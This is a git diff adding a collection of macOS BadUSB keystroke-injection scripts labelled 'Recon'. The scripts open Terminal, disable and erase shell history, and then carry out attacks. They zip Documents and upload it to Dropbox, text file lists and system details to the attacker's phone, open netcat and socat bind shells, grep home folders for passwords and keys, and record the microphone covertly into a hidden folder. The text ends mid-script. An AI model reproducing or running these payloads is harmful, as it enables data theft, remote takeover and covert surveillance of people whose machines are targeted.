+ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +ENTER +DELAY 500 +STRING x=$(ls /Users/*/Desktop); osascript -e 'tell application "Messages" to send "'$x'" to buddy "Phone Number HERE"' +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 2000 +GUI h diff --git a/badusb/MacOS-narstybits/RECON/Document to Dropbox API.txt b/badusb/MacOS-narstybits/RECON/Document to Dropbox API.txt new file mode 100644 index 0000000..144f6ea --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Document to Dropbox API.txt @@ -0,0 +1,53 @@ +REM This script Creates a folder in the tmp directory +REM copies the contents of the Documents into the tmp folder zips it +REM zips it and uploads it to a specific dropbox API + +REM Replace " " with your actual API access token. + +REM Title: Document to Dropbox API +REM Author: Narsty +REM Version 1.0 MacOs +REM Category: Recon + + +DELAY 500 +GUI SPACE +DELAY 500 +STRING Terminal +DELAY 1000 +ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 500 +STRING mkdir -p /tmp/Backup/Documents +ENTER +DELAY 500 +STRING cp -R ~/Documents/. /tmp/Backup/Documents +ENTER +DELAY 500 +STRING cd /tmp/Backup && zip -r backup.zip Documents +ENTER +DELAY 500 +STRING curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer " -H "Dropbox-API-Arg: {\"path\": \"/Backup/backup.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @backup.zip +DELAY 1000 +ENTER +DELAY 10000 +STRING rm /tmp/Backup/backup.zip +ENTER +DELAY 500 +STRING rm -r /tmp/Backup/Documents +ENTER +DELAY 500 +STRING clear +DELAY 250 +ENTER +DELAY 500 +GUI w diff --git a/badusb/MacOS-narstybits/RECON/Documents file list to iPhone.txt b/badusb/MacOS-narstybits/RECON/Documents file list to iPhone.txt new file mode 100644 index 0000000..4fe1c74 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Documents file list to iPhone.txt @@ -0,0 +1,45 @@ +REM This script gets a list of the files in the documents folder, +REM then it sends the list to your iphone. +REM Shoutout to matthewkayne and 0iphor13 for the Phone code part. + +REM Replace "Phone Number HERE" with your phone number to receive MacOs System information +REM Replace "SYSTEM USERNAME HERE" with your phone number to receive MacOs System information + +REM Title: Documents file list to iPhone +REM Author: NARSTY +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 500 +STRING x=$(ls /Users/SYSTEM USERNAME HERE/Documents); osascript -e 'tell application "Messages" to send "'$x'" to buddy "Phone Number HERE"' +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 2000 +GUI W + + + + + + diff --git a/badusb/MacOS-narstybits/RECON/Dropbox File Downloader.txt b/badusb/MacOS-narstybits/RECON/Dropbox File Downloader.txt new file mode 100644 index 0000000..c4b3442 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Dropbox File Downloader.txt @@ -0,0 +1,36 @@ +REM Replace with the actual URL for the file you want to download. +REM Additionally, replace filename with the desired name and extension for the downloaded file. +REM the script will download a file to the target MacOs desktop + + + +REM Author: Narsty +REM Title: Dropbox File Downloader +REM Version 1.0 MacOs +REM Category: Recon + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 500 +STRING nohup curl -L -o ~/Desktop/ " " & +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 500 +GUI w diff --git a/badusb/MacOS-narstybits/RECON/GuardianForge.txt b/badusb/MacOS-narstybits/RECON/GuardianForge.txt new file mode 100644 index 0000000..2eb7b4c --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/GuardianForge.txt @@ -0,0 +1,39 @@ +REM Script for System Execution Testing +REM This script is designed to test system execution capabilities and security settings on macOS. +REM It performs a series of controlled executions to assess the system's behavior and identify any vulnerabilities. + +REM You can replace with th path of your flipper to save the data dump + + + + +REM Author: Narsty +REM Title: GuardianForge +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + + +ID 05ac:021e Apple:Keyboard +DELAY 1000 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 500 +ENTER +DELAY 1000 +STRING csrutil status > ~/Desktop/security_info.txt && sleep 2 +ENTER +DELAY 2000 +STRING spctl --status >> ~/Desktop/security_info.txt && sleep 2 +ENTER +DELAY 2000 +STRING codesign -dv --verbose=4 /bin/bash >> ~/Desktop/security_info.txt && sleep 2 +ENTER +DELAY 2000 +STRING ps aux | grep -v "root\|_" >> ~/Desktop/security_info.txt && sleep 2 +ENTER +DELAY 2000 +STRING lsof -i >> ~/Desktop/security_info.txt && sleep 2 +ENTER + diff --git a/badusb/MacOS-narstybits/RECON/Infinite Reverse Shell.txt b/badusb/MacOS-narstybits/RECON/Infinite Reverse Shell.txt new file mode 100644 index 0000000..dbda022 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Infinite Reverse Shell.txt @@ -0,0 +1,53 @@ +REM This script installs netcat using home-brew (can adjust delay) +REM Sets up a continuous loop using netcat to establish a connection +REM and execute a bash shell every 180 seconds. + + +REM Now on your separate computer in your terminal Run the command 'nc 53000' +REM replace ' ' with the IP address of the target computer. +REM I've noticed that NC does not respond if you copy and paste so please type the I.P. out! +REM If the connection is successful, you should now have a remote shell session on the remote computer. + +REM To kill the listening port (53000 in this case) use the command below +REM killall nc + + +REM Requirements: install netcat on both the remote target and your computer 'brew install netcat' +REM Requirements: Remote computer's IP address or hostname + +REM Title: Infinite Reverse Shell.txt +REM Author: NARSTY +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 500 +STRING brew install netcat +DELAY 500 +ENTER +DELAY 20000 +STRING nohup bash -c 'while true; do nc -l -p 53000 -vvv -e /bin/bash; sleep 180; done' & +DELAY 500 +ENTER +DELAY 500 +CTRL d +DELAY 500 +GUI w diff --git a/badusb/MacOS-narstybits/RECON/Info Infiltrator to Iphone.txt b/badusb/MacOS-narstybits/RECON/Info Infiltrator to Iphone.txt new file mode 100644 index 0000000..5e78507 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Info Infiltrator to Iphone.txt @@ -0,0 +1,42 @@ +REM This script does a Port scan using the targets I.P. +REM then it sends the information from the scan to your phone. +REM Shoutout to matthewkayne and 0iphor13 for the Phone code + +REM Replace "Phone Number HERE" with your phone number to receive MacOs System information + +REM Title: InfoInfiltrator +REM Author: NARSTY +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 500 +STRING x=$(system_profiler SPHardwareDataType SPSoftwareDataType); osascript -e 'tell application "Messages" to send "'$x'" to buddy "Phone Number HERE"' +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 2000 +STRING CLEAR +DELAY 500 +ENTER +DELAY 500 +GUI W diff --git a/badusb/MacOS-narstybits/RECON/Network Recon Plus.txt b/badusb/MacOS-narstybits/RECON/Network Recon Plus.txt new file mode 100644 index 0000000..c1e1b9e --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Network Recon Plus.txt @@ -0,0 +1,29 @@ +REM 'networksetup -listallhardwareports' This command lists all the hardware ports/interfaces on your Mac, such as Wi-Fi, Ethernet, Bluetooth, etc. +REM 'ifconfig' This command displays the network interface configuration and status information. +REM ;arp -a' This command shows the Address Resolution Protocol (ARP) cache table. +REM It displays the mappings between IP addresses and MAC addresses of devices on your local network. + +REM Title: Network Recon + +REM Author: Narsty +REM Version: 1.0 +REM Target: MacOs +REM Category: Recon + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 500 +ENTER +DELAY 1000 +STRING networksetup -listallhardwareports +ENTER +DELAY 1000 +STRING ifconfig +ENTER +DELAY 1000 +STRING arp -a +ENTER + + diff --git a/badusb/MacOS-narstybits/RECON/Network Recon to Dropbox.txt b/badusb/MacOS-narstybits/RECON/Network Recon to Dropbox.txt new file mode 100644 index 0000000..6ab7512 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Network Recon to Dropbox.txt @@ -0,0 +1,49 @@ +REM Network Recon and Cloud Sync Automation +REM This script gathers network information from a macOS system +REM then uploads it to Dropbox for easy synchronization and analysis. +REM Replace " " with your actual API access token. line 25 + +REM Title: Network Recon to Dropbox +REM Author: Narsty +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 500 +STRING osascript -e 'do shell script "networksetup -listallhardwareports > \"$HOME/Desktop/network_interfaces.txt\" && ipconfig getpacket en0 >> \"$HOME/Desktop/network_interfaces.txt\""' +DELAY 1000 +ENTER +DELAY 500 +STRING curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer " -H "Dropbox-API-Arg: {\"path\": \"/Backup/network_interfaces.txt\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @"$HOME/Desktop/network_interfaces.txt" +DELAY 2000 +ENTER +DELAY 5000 +STRING rm -r ~/Desktop/network_interfaces.txt +DELAY 500 +ENTER +STRING clear +DELAY 500 +ENTER +GUI w +DELAY 500 +ENTER + + diff --git a/badusb/MacOS-narstybits/RECON/Network Reconnaissance.txt b/badusb/MacOS-narstybits/RECON/Network Reconnaissance.txt new file mode 100644 index 0000000..0d71a65 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Network Reconnaissance.txt @@ -0,0 +1,46 @@ +REM Use responsibly and with proper permissions. + +REM This script initiates a network reconnaissance by scanning for live hosts, +REM performing a port scan on live hosts, + + +REM Author: Narsty +REM Title: Network Reconnaissance +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + +REM Replace (15.151.298.31) with your targets I.P. address + +REM can insert multiple I.p.'s if needed + + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 500 +ENTER +DELAY 1000 +STRING echo "Network Reconnaissance:" +STRING && echo "------------------------------" +STRING && echo "Scan Date: $(date)" +STRING && echo "------------------------------" +STRING && echo "Scanning for Live Hosts..." +STRING && echo "------------------------------" +STRING && ping -c 3 15.151.298.31 +STRING && ping -c 3 15.151.298.31 +REM Add more IP addresses to ping as needed +STRING && echo "------------------------------" +STRING && echo "Performing ARP Scan..." +STRING && echo "------------------------------" +STRING && arp -a +ENTER + + + + + + + diff --git a/badusb/MacOS-narstybits/RECON/Nmap Scan to Iphone.txt b/badusb/MacOS-narstybits/RECON/Nmap Scan to Iphone.txt new file mode 100644 index 0000000..3026b92 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Nmap Scan to Iphone.txt @@ -0,0 +1,42 @@ +REM This script does a Port scan using the targets I.P. +REM then it sends the information from the scan to your phone. +REM Shoutout to matthewkayne and 0iphor13 for the Phone code + +REM Replace "TARGET_IP" with I.P. of Target Mac +REM Replace "Phone Number HERE" with your phone number to receive Network Information + +REM Requirement: NMAP +REM can install using homebrew 'brew install nmap' + +REM Title: Nmap Scan to Iphone +REM Author: NARSTY +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 500 +STRING x=$(nmap -p 1-1000 -T4 -v TARGET_IP); osascript -e 'tell application "Messages" to send "'$x'" to buddy "Phone Number HERE"' +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 2000 +GUI W diff --git a/badusb/MacOS-narstybits/RECON/Public I.P. Finder to Dropbox.txt b/badusb/MacOS-narstybits/RECON/Public I.P. Finder to Dropbox.txt new file mode 100644 index 0000000..089a5a0 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Public I.P. Finder to Dropbox.txt @@ -0,0 +1,68 @@ +REM Description: Uses Mac Terminals config.me command to do a PUBLIC I.P. lookup +REM Saves the data to a folder on the desktop +REM Then proceeds to upload the I.P. data to your API dropbox +REM removes the folder on the desktop and closes the terminal +REM Replace with your actual Dropbox API access token + + + +REM Title: Public I.P. Finder to Dropbox +REM Author: Narsty +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + + + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 2000 +STRING public_ip=$(curl -s ifconfig.me); +DELAY 500 +ENTER +DELAY 3000 +STRING mkdir ~/Desktop/"Public I.P. Data" && echo "Your TARGETS IP address is: $public_ip" > ~/Desktop/"Public I.P. Data"/public_ip.txt +DELAY 1000 +ENTER +DELAY 500 +STRING echo 'cd ~/Desktop/"Public I.P. Data" && zip -r backup.zip . && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer " -H "Dropbox-API-Arg: {\"path\": \"/Backup/backup.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @backup.zip' > upload.sh +DELAY 2000 +ENTER +DELAY 500 +STRING chmod +x upload.sh +ENTER +DELAY 500 +STRING nohup ./upload.sh >/dev/null 2>&1 & +DELAY 500 +ENTER +DELAY 1000 +STRING rm upload.sh +DELAY 500 +ENTER +DELAY 500 +STRING rm -rf ~/Desktop/"Public I.P. Data" +DELAY 500 +ENTER +DELAY 500 +STRING CLEAR +DELAY 500 +ENTER +DELAY 500 +GUI w +DELAY 500 +ENTER diff --git a/badusb/MacOS-narstybits/RECON/Public I.P. Finder.txt b/badusb/MacOS-narstybits/RECON/Public I.P. Finder.txt new file mode 100644 index 0000000..29b6659 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Public I.P. Finder.txt @@ -0,0 +1,29 @@ +REM Description: Uses Mac Terminals config.me command to do a PUBLIC I.P. lookup +REM displays the results in a pop up window +REM & Saves the data to a folder on the desktop +REM Folder is named "Public I.P. Data" + + +REM Title: Public I.P. Finder +REM Author: Narsty +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 500 +ENTER +STRING curl -s ifconfig.me; echo +DELAY 500 +ENTER +DELAY 500 +STRING public_ip=$(curl -s ifconfig.me); osascript -e "tell app \"System Events\" to display dialog \"I FOUND YOU: $public_ip\" with title \"Public IP Address\"" +DELAY 500 +STRING mkdir ~/Desktop/"Public I.P. Data" && echo "Your TARGETS IP address is: $public_ip" > ~/Desktop/"Public I.P. Data"/public_ip.txt +DELAY 500 +ENTER + diff --git a/badusb/MacOS-narstybits/RECON/Public I.P. to Iphone.txt b/badusb/MacOS-narstybits/RECON/Public I.P. to Iphone.txt new file mode 100644 index 0000000..b05b11c --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Public I.P. to Iphone.txt @@ -0,0 +1,37 @@ +REM This script uses Mac Terminals ifconfig.me command to do a PUBLIC I.P. lookup +REM Then sends the I.p. to your phone via text message +REM Replace 'ENTER PHONE NUMBER HERE' with your actual Phone number +REM Shoutout to matthewkayne and 0iphor13 for the Phone code + + +REM Title: Public I.P. to Iphone +REM Author: Narsty +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 500 +STRING x=$(curl -s ifconfig.me/ip); osascript -e 'tell application "Messages" to send "'$x'" to buddy "ENTER PHONE NUMBER HERE"' +DELAY 500 +ENTER +DELAY 4000 +STRING CLEAR +DELAY 250 +GUI w diff --git a/badusb/MacOS-narstybits/RECON/Reverse Shell.txt b/badusb/MacOS-narstybits/RECON/Reverse Shell.txt new file mode 100644 index 0000000..de9a76b --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Reverse Shell.txt @@ -0,0 +1,62 @@ +REM installs netcat using home-brew (can adjust delay) +REM Runs the command nohup nc -l -p 53000 -vvv -e /bin/bash to start a netcat listener on port 53000 +REM clears the terminal +REM Gui m minimizes the terminal window + + + +REM Now on your separate computer in your terminal Run the command 'nc 53000' +REM replace ' ' with the IP address of the target computer. +REM I've noticed that NC does not respond if you copy and paste so please type the I.P. out! +REM If the connection is successful, you should now have a remote shell session on the remote computer. + +REM To kill the listening port (53000 in this case) +REM you can use the kill command followed by the process ID (PID#) +REM to find the PID use command 'ps -ef | grep "nc -lvp 53000"' +REM Once you have the PID # run the command 'kill ' + + +REM to check if the port is closed +REM on the target computer run the command 'netstat -tuln | grep 53000' +REM If the listening port is closed, there should be no output or listing for port 53000. + + +REM Requirements: install netcat on both the remote target and your computer 'brew install netcat' +REM Requirements: Remote computer's IP address or hostname + +REM Title: Reverse Shell +REM Author: NARSTY +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + + +ID 05ac:021e Apple:Keyboard +DELAY 1000 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 1000 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 500 +STRING brew install netcat +DELAY 250 +ENTER +DELAY 15000 +STRING nohup nc -l -p 53000 -vvv -e /bin/bash & +ENTER +DELAY 500 +STRING clear +ENTER +DELAY 1000 +GUI w \ No newline at end of file diff --git a/badusb/MacOS-narstybits/RECON/SentinelStrike.txt b/badusb/MacOS-narstybits/RECON/SentinelStrike.txt new file mode 100644 index 0000000..e6eb2cf --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/SentinelStrike.txt @@ -0,0 +1,82 @@ +REM macOS Security Testing and Reconnaissance Duckyscript (Local System) +REM Unveiling the Depths of macOS Security +REM Comprehensive Testing and Advanced Reconnaissance Capabilities +REM This Script pulls just about everything you would need to know about a target MAC + +REM Author: Narsty +REM Title: SentinelStrike +REM Target: MacOS +REM Version: 1.0 +REM Category: RECON + +ID 05ac:021e Apple:Keyboard +DELAY 1000 +GUI SPACE +DELAY 500 +STRING Terminal +DELAY 500 +ENTER +DELAY 500 +STRING clear +ENTER +DELAY 500 +STRING echo "Starting local system security testing and reconnaissance..." +ENTER +DELAY 1000 + +REM Gather System Information +STRING echo "----- System Information -----" +ENTER +STRING system_profiler SPHardwareDataType SPSoftwareDataType | grep -E "Model Identifier|Processor Name|Memory|Serial Number|OS Version" | sed 's/^\s*//' +ENTER +DELAY 1000 + +REM Check for Suspicious Processes +STRING echo "----- Suspicious Processes -----" +ENTER +STRING ps aux | grep -E "root|admin" | grep -v grep | awk '{print $2, $11}' +ENTER +DELAY 1000 + +REM List Startup Items +STRING echo "----- Startup Items -----" +ENTER +STRING ls -la /Library/LaunchAgents /Library/LaunchDaemons ~/Library/LaunchAgents +ENTER +DELAY 1000 + +REM Check User Accounts +STRING echo "----- User Accounts -----" +ENTER +STRING dscl . -list /Users | grep -v '_' +ENTER +DELAY 1000 + +REM Find Sensitive Files +STRING echo "----- Sensitive Files -----" +ENTER +STRING find ~ -type f \( -iname "*.key" -o -iname "*.pem" -o -iname "*.rsa" \) 2>/dev/null +ENTER +DELAY 1000 + +REM Search for Sensitive Information +STRING echo "----- Sensitive Information -----" +ENTER +STRING grep -r -i -I --include='*.txt' --include='*.doc*' --include='*.xls*' --include='*.csv' --include='*.json' --include='*.xml' --include='*.conf' --include='*.config' --include='*.properties' --include='*.ini' --include='*.env' --exclude-dir='.git' --exclude-dir='node_modules' "password\|username\|apikey\|secret" ~ 2>/dev/null +ENTER +DELAY 1000 + +REM Check for Unsecured Files and Directories +STRING echo "----- Unsecured Files and Directories -----" +ENTER +STRING find ~ -type d \( -iname "public" -o -iname "www" \) 2>/dev/null +ENTER +DELAY 1000 + +REM Finished +STRING echo "----- Security testing and reconnaissance completed! -----" +ENTER + + + + diff --git a/badusb/MacOS-narstybits/RECON/SocatShell.txt b/badusb/MacOS-narstybits/RECON/SocatShell.txt new file mode 100644 index 0000000..5361c53 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/SocatShell.txt @@ -0,0 +1,47 @@ +REM This script sets up a TCP listener using socat for remote shell access. +REM Proceeds to clear the terminal and minimize the window for stealth. +REM It listens on the specified port (6300) + + +REM Once this script is executed there will be an open listener on port 6300 +REM you will be able to use the command 'socat STDIN TCP: :6300' +REM this will establish a connection to the remote computer on port 6300 +REM and you should be able to interact with the remote shell + +REM Requirement: i.p. of target MacOs and socat application +REM can install using homebrew 'brew install socat' + +REM Title: SocatShell +REM Author: NARSTY +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +ENTER +DELAY 500 +STRING nohup socat TCP-LISTEN:6300 EXEC:/bin/bash &>/dev/null & +DELAY 2000 +ENTER +DELAY 500 +STRING clear +ENTER +DELAY 250 +GUI w + + diff --git a/badusb/MacOS-narstybits/RECON/StealthSeeker.txt b/badusb/MacOS-narstybits/RECON/StealthSeeker.txt new file mode 100644 index 0000000..1576846 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/StealthSeeker.txt @@ -0,0 +1,50 @@ +REM This script focuses on searching for common sensitive information +REM including passwords, secrets, API keys, and configuration files. +REM It performs a file search within specific file types and looks for specific patterns. +REM The output will display any matches found in the search process. + +REM Author: Narsty +REM Title: StealthSeeker +REM Target: MacOS +REM Version: 1.0 +REM Category: RECON + + +ID 05ac:021e Apple:Keyboard +DELAY 1000 +GUI SPACE +DELAY 500 +STRING Terminal +DELAY 500 +ENTER +DELAY 500 +STRING clear +ENTER +DELAY 500 +STRING echo "Initiating macOS sensitive information search..." +ENTER +DELAY 1000 + +REM Search for Passwords and Secrets +STRING echo "----- Passwords and Secrets -----" +ENTER +STRING grep -r -i -I --include='*.txt' --include='*.doc*' --include='*.xls*' --include='*.csv' --include='*.json' --exclude-dir='.git' --exclude-dir='node_modules' "password\|secret\|apikey\|taxes\|passport" ~ 2>/dev/null +ENTER +DELAY 1000 + +REM Search for Configuration Files +STRING echo "----- Configuration Files -----" +ENTER +STRING find / -type f \( -iname "*.conf" -o -iname "*.config" -o -iname "*.properties" -o -iname "*.ini" \) 2>/dev/null | xargs grep -E "username|password|apikey|secret" 2>/dev/null +ENTER +DELAY 1000 + +REM Finished +STRING echo "----- macOS sensitive information search completed! -----" +ENTER + + + + + + diff --git a/badusb/MacOS-narstybits/RECON/SysNet Info.txt b/badusb/MacOS-narstybits/RECON/SysNet Info.txt new file mode 100644 index 0000000..ef03e0f --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/SysNet Info.txt @@ -0,0 +1,21 @@ +REM User Information: Includes the username, home directory, and user ID. +REM System Information: Displays details about the operating system. +REM Network Information: Shows network interface information IP address. +REM File and Directory Permissions: Provides permissions and ownership details of files and directories. + +REM Author: Narsty +REM Title: SysNet Info +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 1000 +STRING terminal +DELAY 500 +ENTER +DELAY 1000 +STRING echo "User Information:" && echo "Username: $(whoami)" && echo "Home Directory: $HOME" && echo "User ID: $(id -u)" && echo && echo "System Information:" && uname -a && echo && echo "Network Information:" && ifconfig && echo && echo "File and Directory Permissions:" && ls -l + diff --git a/badusb/MacOS-narstybits/RECON/Voice Logger.txt b/badusb/MacOS-narstybits/RECON/Voice Logger.txt new file mode 100644 index 0000000..9f89b1d --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Voice Logger.txt @@ -0,0 +1,61 @@ +REM Creates a hidden folder named .phantom_audio in the home directory. +REM Writes a Python script (record.py) that uses the sox utility +REM to record audio from the microphone and save it as a .mp3 file. + +REM Once executed, the audio recording will start and continue until manually stopped +REM You can stop the audio recording by finding the PID and using 'kill pid#' +REM The recording is saved in the .phantom_audio directory under the home directory + +REM To access the audio file easily, you can use the following steps: +REM Open a new Finder window. Go to the "Go" menu in the menu bar and select "Go to Folder" +REM enter "~/.phantom_audio" and click the "Go" button. +REM navigate to the .phantom_audio folder where you can find the "Secret audio.mp3" file. + +REM To delete the hidden folder use command 'rm -r ~/.phantom_audio' + +REM Requirements: SOX you can install through homebrew 'brew install sox' + +REM Author: Narsty +REM Title: Phantom Audio Capturer +REM Target: MacOS +REM Version: 1.0 +REM Category: Recon + + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING Terminal +DELAY 1000 +ENTER +DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 1000 +STRING screen -dm bash -c "nohup python3 record.py &" +DELAY 200 +ENTER +DELAY 500 +STRING tccutil reset Microphone com.apple.Terminal +DELAY 500 +ENTER +STRING mkdir -p ~/.phantom_audio && cd ~/.phantom_audio +DELAY 500 +ENTER +DELAY 500 +STRING echo 'import os\nimport subprocess\nimport datetime\n\nfilename = "Secret audio.mp3"\ncmd = f"sox -d -C 128 -r 44100 \"{filename}\""\nsubprocess.Popen(cmd, shell=True)' > record.py +DELAY 1000 +ENTER +DELAY 500 +STRING nohup python3 record.py & +ENTER +DELAY 250 +GUI w diff --git a/badusb/MacOS-narstybits/RECON/Web Scraper.txt b/badusb/MacOS-narstybits/RECON/Web Scraper.txt new file mode 100644 index 0000000..15217c5 --- /dev/null +++ b/badusb/MacOS-narstybits/RECON/Web Scraper.txt @@ -0,0 +1,45 @@ +REM Web Scraping and Output to Desktop. +REM This script performs web scraping on a target website and saves the extracted data to a text file on the desktop. +REM Make sure to replace the target website URL and adjust the delay timings as needed for optimal performance. + + +REM Please note that web scraping may have legal and ethical implications, +REM script should only be performed on websites you have permission to access and scrape data from. +REM Replace 'https://www.example.com' with the target website URL. + + + +REM Author: Narsty +REM Title: Web Scraper +REM Version: 1.0 +REM Target: MacOs +REM Category: Recon + + +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 500 +ENTER +DELAY 1000 +STRING cd ~/Desktop +DELAY 500 +ENTER +DELAY 500 +STRING touch output.txt +DELAY 